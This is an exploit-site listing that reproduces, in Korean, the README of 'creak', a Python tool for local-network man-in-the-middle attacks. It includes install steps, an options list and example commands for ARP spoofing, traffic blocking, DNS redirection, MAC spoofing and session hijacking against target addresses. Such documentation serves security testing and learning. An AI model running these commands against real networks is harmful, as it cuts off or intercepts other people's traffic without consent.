Sploitus

Exploit for creak

kitploit Β· 2026-08-31

Exploit Code

MARKDOWN130 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CODEPR-CREAK
# creak

둜컬 λ„€νŠΈμ›Œν¬μ— μžˆλŠ” λŒ€μƒ μ£Όμ†Œμ— λŒ€ν•΄ κ°€μž₯ 잘 μ•Œλ €μ§„ MITM 곡격 쀑 일뢀λ₯Ό μˆ˜ν–‰ν•©λ‹ˆλ‹€. 이 μ€‘μ—λŠ” ARP μŠ€ν‘Έν•‘ 곡격을 μˆ˜ν–‰ν•˜κ³  λΌμš°ν„°λ‘œ κ°€λŠ” λͺ¨λ“  μš”μ²­μ— TCP 리셋 νŒ¨ν‚·μ„ μ „μ†‘ν•˜μ—¬ 둜컬 λ„€νŠΈμ›Œν¬μ— μžˆλŠ” λŒ€μƒ 호슀트의 탐색 및 λ‹€μš΄λ‘œλ“œ κΈ°λŠ₯을 μ°¨λ‹¨ν•©λ‹ˆλ‹€. Python μ–Έμ–΄ ν•™μŠ΅μ„ μœ„ν•œ ꡐ재 ν”„λ‘œμ νŠΈλ‘œ νƒ„μƒν–ˆμœΌλ©°, 이 μ½”λ“œμ˜ μ•…μ˜μ μ΄κ±°λ‚˜ λΆˆλ²•μ μΈ μ‚¬μš©μ„ ν¬ν•¨ν•œ λͺ¨λ“  λ‚¨μš©μ— λŒ€ν•œ μ±…μž„μ„ μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

## μ„€μΉ˜

root@kitploit:~
    
    
    $ git clone https://github.com/codepr/creak.git
    $ cd creak
    $ python setup.py install
    

λ˜λŠ” μ €μž₯μ†Œλ₯Ό ν΄λ‘ ν•˜κ³  λͺ¨λ“  μš”κ΅¬ 사항이 μ„€μΉ˜λœ ν›„ `creak.py`λ₯Ό μ‹€ν–‰ν•˜κΈ°λ§Œ ν•˜λ©΄ λ©λ‹ˆλ‹€:

root@kitploit:~
    
    
    $ git clone https://github.com/codepr/creak.git
    

μ›μ‹œ νŒ¨ν‚· μ‘°μž‘μ„ μœ„ν•΄ `pcap` 라이브러리λ₯Ό μ„€μΉ˜ν•΄μ•Ό ν•˜λ©°, DNS μŠ€ν‘Έν•‘ μ˜΅μ…˜μ„ μœ„ν•΄ `libdnet` νŒ¨ν‚€μ§€μ˜ dnet λͺ¨λ“ˆμ„ μ„€μΉ˜ν•΄μ•Ό ν•©λ‹ˆλ‹€. `pydnet`(λ„€νŠΈμ›Œν¬ 평가 도ꡬ) λͺ¨λ“ˆκ³Ό ν˜Όλ™ν•˜μ§€ λ§ˆμ‹­μ‹œμ˜€. μ›ν•˜λŠ” 경우 `scapy`λ₯Ό μ‚¬μš©ν•  μˆ˜λ„ 있으며, `config` 파일의 `[output]` > `ENGINE` μ„Ήμ…˜μ—μ„œ μ„€μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

## μ˜΅μ…˜

root@kitploit:~
    
    
    Usage: creak.py [options] dev
    
    Options:
      -h, --help           show this help message and exit
      -1, --sessions-scan  Sessions scan mode
      -2, --dns-spoof      Dns spoofing
      -3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
      -x, --spoof          Spoof mode, generate a fake MAC address to be used
                           during attack
      -m MACADDR           Mac address octet prefix (could be an entire MAC
                           address in the form AA:BB:CC:DD:EE:FF)
      -M MANUFACTURER      Manufacturer of the wireless device, for retrieving a
                           manufactur based prefix for MAC spoof
      -s SOURCE            Source ip address (e.g. a class C address like
                           192.168.1.150) usually the router address
      -t TARGET            Target ip address (e.g. a class C address like
                           192.168.1.150), can be specified multiple times
      -p PORT              Target port to shutdown
      -a HOST              Target host that will be redirect while navigating on
                           target machine
      -r REDIR             Target redirection that will be fetched instead of host
                           on the target machine
      -v, --verbose        Verbose output mode
      -d, --dotted         Dotted output mode
    

## 예제

κ°€μž₯ 기본적인 μ‚¬μš©λ²•: λŒ€μƒ 호슀트의 λͺ¨λ“  νŠΈλž˜ν”½ 차단

root@kitploit:~
    
    
    $ python creak.py -t 192.168.1.30 wlan0
    

λ‹€λ₯Έ κ²Œμ΄νŠΈμ›¨μ΄ μ„€μ •:

root@kitploit:~
    
    
    $ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0
    

μž₯μΉ˜μ— λ‹€λ₯Έ MAC μ£Όμ†Œ μ„€μ •:

root@kitploit:~
    
    
    $ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0
    

κ°€μ§œ MAC μ£Όμ†Œλ₯Ό μƒμ„±ν•˜μ—¬ μŠ€ν‘Έν•‘:

root@kitploit:~
    
    
    $ python creak.py -x -t 192.168.1.30 wlan0
    

μ œμ‘°μ—…μ²΄(예: Xeros) 기반의 MAC μ£Όμ†Œλ₯Ό μƒμ„±ν•˜μ—¬ μŠ€ν‘Έν•‘:

root@kitploit:~
    
    
    $ python creak.py -x -M xeros -t 192.168.1.30 wlan0
    

κ°€μ§œ MAC μ£Όμ†Œλ₯Ό μ‚¬μš©ν•œ DNS μŠ€ν‘Έν•‘, ab.xyλ₯Ό cd.xz(예: localhost)둜 λ¦¬λ””λ ‰μ…˜:

root@kitploit:~
    
    
    $ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0
    

μ„œλΈŒλ„·μ˜ μ—¬λŸ¬ 호슀트 차단:

root@kitploit:~
    
    
    $ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0
    

## λ³€κ²½ 둜그

μžμ„Έν•œ λ‚΄μš©μ€ CHANGELOG νŒŒμΌμ„ μ°Έμ‘°ν•˜μ„Έμš”.

## ν•  일

  * ν™œμ„± λ‘œλ“œ μ‚¬μš©λŸ‰ 기반 μ„Έμ…˜ κ·Έλ£Ήν™”
  * `Scapy` 지원 μ™„λ£Œ (**μ‹œμž‘λ¨**)
  * μ„Έμ…˜ ν•˜μ΄μž¬ν‚Ή (**μ‹œμž‘λ¨**)
  * ν”ŒλŸ¬κ·ΈμΈ μ•„ν‚€ν…μ²˜λ₯Ό κ°€μ§„ 마이크둜 ν”„λ ˆμž„μ›Œν¬λ‘œ ν¬νŒ… (**75% μ™„λ£Œ**)



## λΌμ΄μ„ μŠ€

λΌμ΄μ„ μŠ€ ꢌ리 및 μ œν•œ 사항(GNU v3)에 λŒ€ν•œ μžμ„Έν•œ λ‚΄μš©μ€ LICENSE νŒŒμΌμ„ μ°Έμ‘°ν•˜μ„Έμš”.